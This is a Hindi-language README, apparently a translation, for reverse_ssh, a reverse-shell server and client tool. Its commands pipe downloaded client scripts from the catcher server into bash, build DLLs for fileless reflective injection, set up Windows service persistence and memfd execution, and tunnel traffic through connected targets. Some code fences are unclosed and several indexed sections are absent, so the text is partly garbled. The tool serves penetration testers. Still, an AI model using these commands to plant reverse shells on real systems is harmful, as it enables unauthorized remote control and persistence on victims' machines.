https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

- [रिवर्स SSH](#reverse-ssh)
  - [TL;DR](#tldr)
    - [सेटअप](#setup)
    - [मूल उपयोग](#basic-usage)
  - [प्रायोजक](#sponsors)
    - [व्यक्ति](#individuals)
    - [कंपनियाँ](#companies)
  - [फैंसी विशेषताएँ](#fancy-features)
    - [विशेषाधिकार](#privileges)
    - [स्वचालित कनेक्ट-बैक](#automatic-connect-back)
    - [रिवर्स शेल डाउनलोड (क्लाइंट जनरेशन और अंतर्निहित HTTP सर्वर)](#reverse-shell-download-client-generation-and-in-built-http-server)
    - [वैकल्पिक ट्रांसपोर्ट (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
    - [Bash ऑटोकम्प्लीट](#bash-autocomplete)
    - [Windows DLL उत्पादन](#windows-dll-generation)
    - [SSH उपप्रणालियाँ](#ssh-subsystems)
      - [सभी](#all)
      - [Linux](#linux)
      - [Windows](#windows)
    - [Windows सेवा एकीकरण](#windows-service-integration)
    - [पूर्ण Windows शेल समर्थन](#full-windows-shell-support)
    - [वेबहुक](#webhooks)
    - [Tun (VPN)](#tun-vpn)
    - [फाइललेस निष्पादन (क्लाइंट शेल के रूप में निष्पादित करने के लिए डायनामिक रूप से निष्पादन योग्य डाउनलोड करने का समर्थन करते हैं)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
      - [समर्थित URI योजनाएँ](#supported-uri-schemes)
- [सहायता](#help)
  - [विंडोज़](#windows-help)
    - [SFTP](#windows-and-sftp)
    - [सत्र स्पॉन त्रुटियाँ (0xc0000142)](#session-spawn-errors-0xc0000142)
  - [`--insecure` के साथ शुरू किए गए सर्वर में अभी भी `Failed to handshake` है](#server-started-with---insecure-still-has-failed-to-handshake)
  - [अग्रभूमि बनाम पृष्ठभूमि](#foreground-vs-background)
- [दान, समर्थन, या बदले में देना](#donations-support-or-giving-back)

## TL;DR

### सेटअप

डॉकर रिलीज़ की अनुशंसा की जाती है क्योंकि इसमें golang का सही संस्करण और विंडोज के लिए क्रॉस कंपाइलर शामिल है।```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh

### मूल उपयोग```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

## प्रायोजक 

निम्नलिखित लोगों को RSSH परियोजना में योगदान देने और यह सब संभव बनाने के लिए हार्दिक धन्यवाद!

### व्यक्तिगत
[chikamobina](https://github.com/chikamobina) उनके उदार दान के लिए!  
[wrighterase (ctrlzero)](https://github.com/wrighterase) उनके पुल रिक्वेस्ट और दान के लिए!

### कंपनियाँ

[Carapace](https://carapace.nz/) एक न्यूज़ीलैंड स्थित सुरक्षा परामर्श कंपनी है जिसमें अत्यधिक प्रतिभाशाली टीम है!  
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)


## फैंसी विशेषताएँ


### विशेषाधिकार
RSSH सर्वर बहुत बुनियादी उपयोगकर्ता विशेषाधिकारों का समर्थन करता है, जहाँ `data-directory`/`keys` (द्वारा निर्दिष्ट `--datadir`) फ़ोल्डर में पाए जाने वाले उपयोगकर्ता, उदा. `data-directory/keys/jim`, को "उपयोगकर्ता" के रूप में नियुक्त किया जाएगा जो केवल उन ग्राहकों को देख सकता है जो सार्वजनिक हैं (फ़ाइल `authorized_controllee_keys` में बिना `owners` टैग के, या खाली `owners` टैग के) या विशेष रूप से उन्हें असाइन किए गए हैं, उदा. `owners="jim"`।

इसे रन टाइम पर बदला जा सकता है किसी उपयोगकर्ता द्वारा जो उनके स्वामित्व वाले क्लाइंट तक पहुँच साझा करता है `access` कमांड के माध्यम से, या सर्वर व्यवस्थापक द्वारा। डिफ़ॉल्ट रूप से, `authorized_keys` फ़ाइल में पाई जाने वाली कोई भी सार्वजनिक कुंजी पिछड़ी संगतता बनाए रखने के लिए व्यवस्थापक के रूप में चिह्नित की जाएगी।
`access` कमांड द्वारा किए गए किसी भी परिवर्तन सर्वर रीबूट पर बने नहीं रहेंगे, और इसके लिए उस विशिष्ट क्लाइंट के लिए `authorized_controllee_keys` फ़ाइल को संपादित करने की आवश्यकता होगी।

### स्वचालित वापस-कनेक्ट

rssh क्लाइंट आपको कनेक्ट-बैक पता बनाने की अनुमति देता है।
डिफ़ॉल्ट रूप से, `link` कमांड सर्वर के बाहरी पते को सम्मिलित करेगा।

यदि आप (किसी कारण से) मैन्युअल रूप से बाइनरी बना रहे हैं, तो आप क्लाइंट में इसे सम्मिलित करने के लिए पर्यावरण चर `RSSH_HOMESERVER` निर्दिष्ट कर सकते हैं:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make

# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client

# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232

फिर आप इसे इस प्रकार डाउनलोड कर सकते हैं:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test

इसके लिए प्रारूप सिर्फ `RAW` है जिसके बाद फ़ाइल का नाम आता है, उदाहरण के लिए इस मामले में `test`, rssh `--raw-download` के साथ आपके लिए इसे स्वतः उत्पन्न कर सकता है।

RSSH सर्वर `.sh`, `.py` और `.ps1` URL पथ अंत का भी समर्थन करता है जो एक स्क्रिप्ट उत्पन्न करेगा जिसे आप एक इंटरप्रेटर में पाइप कर सकते हैं:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh

या इसे `link` कमांड के साथ बेक करके।```sh
ssh your.rssh.server -p 3232 link --ws --name test

और यह एक ऑटोकम्पलीशन लौटाएगा जिसे आपके `.zshrc` या `.bashrc` में जोड़ा जा सकता है

E.g```sh
_RSSHCLIENTSCOMPLETION()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}

_RSSHFUNCTIONSCOMPLETIONS()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}

complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232 

complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232

complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill 

### विंडोज DLL जनरेशन

आप क्लाइंट को एक DLL के रूप में संकलित कर सकते हैं, जिसे [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1) जैसी चीज़ से लोड किया जा सकता है। यह तब उपयोगी होता है जब आप rssh क्लाइंट का फ़ाइलरहित इंजेक्शन करना चाहते हैं।

यदि आप लिनक्स पर ऐसा कर रहे हैं तो इसके लिए एक क्रॉस कंपाइलर की आवश्यकता होगी, `mingw-w64-gcc` का उपयोग करें, यह डॉकर रिलीज़ में शामिल है।```bash
# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll

# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll

### विंडोज सेवा एकीकरण

क्लाइंट RSSH बाइनरी एक विंडोज सेवा के भीतर चलने का समर्थन करता है और 10 सेकंड के बाद टाइम आउट नहीं होगा। यह स्थायी प्रबंधन सेवाएँ बनाने के लिए बहुत अच्छा है।

### पूर्ण विंडोज शेल समर्थन

विंडोज के लिए अधिकांश रिवर्स शेल एक शेल वातावरण उत्पन्न करने में संघर्ष करते हैं जो आकार बदलने, कॉपी और पेस्ट करने और अन्य सभी सुविधाओं का समर्थन करता है जिनके हम सभी बहुत शौकीन हैं।
यह परियोजना विंडोज के नए संस्करणों पर `conpty` का उपयोग करती है, और पुराने संस्करणों पर `winpty` लाइब्रेरी (जो स्वयं अनपैक होती है) का उपयोग करती है। इसका मतलब यह होना चाहिए कि विंडोज के लगभग सभी संस्करण आपको एक अच्छा शेल प्रदान करेंगे।

### वेबहुक

RSSH सर्वर टर्मिनल इंटरफ़ेस से `webhook` कमांड का उपयोग करके सेट किए गए रॉ HTTP अनुरोध भेज सकता है।

पहले एक वेबहुक सक्षम करें:```bash
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/

एक अतिरिक्त नोट के रूप में, यदि इसे डिस्कॉर्ड से जोड़ रहे हैं तो कृपया `/slack` एंडपॉइंट का उपयोग करें।

### Tun (VPN)

RSSH और SSH tuntap इंटरफ़ेस बनाने का समर्थन करते हैं जो आपको ट्रैफ़िक को रूट करने और स्यूडो-VPN बनाने की अनुमति देते हैं। इसे सेट अप करने में स्थानीय या रिमोट फ़ॉरवर्ड (`-L`, `-R`) की तुलना में थोड़ा अधिक प्रयास लगता है, लेकिन इस मोड में आप `UDP` और `ICMP` भेज सकते हैं।

#### महत्वपूर्ण सूचना

यदि आप किसी दुर्भावनापूर्ण RSSH क्लाइंट से कनेक्ट करते हैं, तो वह आपके टनल डिवाइस से वापस कनेक्ट करने में सक्षम होगा। इसलिए यह महत्वपूर्ण है कि फ़ॉरवर्डिंग सक्षम न हो, और या तो स्थानीय मशीन पर कनेक्शन को रोकने के लिए फ़ायरवॉल नियम हों, या इसे कंटेनर/netns के अंदर से चलाएँ।

किसी दूरस्थ मशीन पर क्लाइंट स्थापित करें, यह काम नहीं करेगा यदि आपका RSSH क्लाइंट आपके tun डिवाइस के समान होस्ट पर है।```sh
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any

sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0

#### समर्थित URI स्कीमें

`http/https`: शुद्ध वेब डाउनलोडिंग

`rssh`: rssh सर्वर के माध्यम से डाउनलोड

rssh सर्वर अपने निष्पादन योग्य कार्यशील निर्देशिका के `downloads` फ़ोल्डर से सामग्री प्रदान करेगा।

ये दोनों विधियाँ अवसरवादी रूप से [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) का उपयोग करेंगी, जो डिस्क पर कोई निष्पादन योग्य फ़ाइल नहीं लिखेगा।

# सहायता

## विंडोज

### SFTP

SFTP (या यूँ कहें कि मैं इसके लिए जो लाइब्रेरी उपयोग कर रहा हूँ) की सीमाओं के कारण, विंडोज पर पथों को थोड़ा अधिक प्रयास की आवश्यकता होती है।```sh
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'

क्लाइंट लॉग्स:```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected

यदि आप `0xc0000142` त्रुटि कोड देखते हैं तो `CMD.exe` प्रारंभ करने और pty (`-t`) को बलपूर्वक आवंटित करने का प्रयास करें:```sh
ssh -t -J rssh windows-system CMD.exe